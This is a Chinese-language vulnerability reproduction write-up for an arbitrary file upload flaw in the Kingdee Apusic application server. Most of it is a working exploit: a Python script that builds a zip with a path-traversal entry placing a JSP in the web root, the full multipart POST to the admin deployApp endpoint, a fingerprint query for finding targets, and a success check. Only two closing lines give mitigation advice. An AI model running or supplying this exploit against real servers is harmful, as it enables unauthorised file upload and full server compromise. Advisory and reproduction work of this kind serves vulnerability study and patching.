漏洞简介
金蝶 Apusic 应用服务器存在一个任意文件上传漏洞，攻击者可以通过构造恶意请求上传恶意文件到服务器，导致服务器失陷。
指纹识别
app=“Apusic应用服务器”
漏洞复现
1.通过脚本构造应用zip压缩包：
import zipfile
try:
zipFile = zipfile.ZipFile("./evil.zip",'a',zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("evil.zip")
zipFile.write("./test.txt","../../../../applications/default/public_html/test1.jsp",zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
2.上传payload
POST /admin//protect/application/deployApp HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Host:
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Length: 2049
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="appName"
444
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="deployInServer"
false
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="clientFile"; filename="app.zip"
Content-Type: application/x-zip-compressed
evil.zip文件内容
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="archivePath"
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="baseContext"
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="startType"
auto
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="loadon"
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="virtualHost"
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="allowHosts"
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="denyHosts"
------WebKitFormBoundaryd9acIBdVuqKWDJbd--
状态码为200，即为上传成功
整改建议
通过防火墙等安全设备限制访问策略，设置内容检测机制和白名单访问
如非必要，禁止公网访问该系统
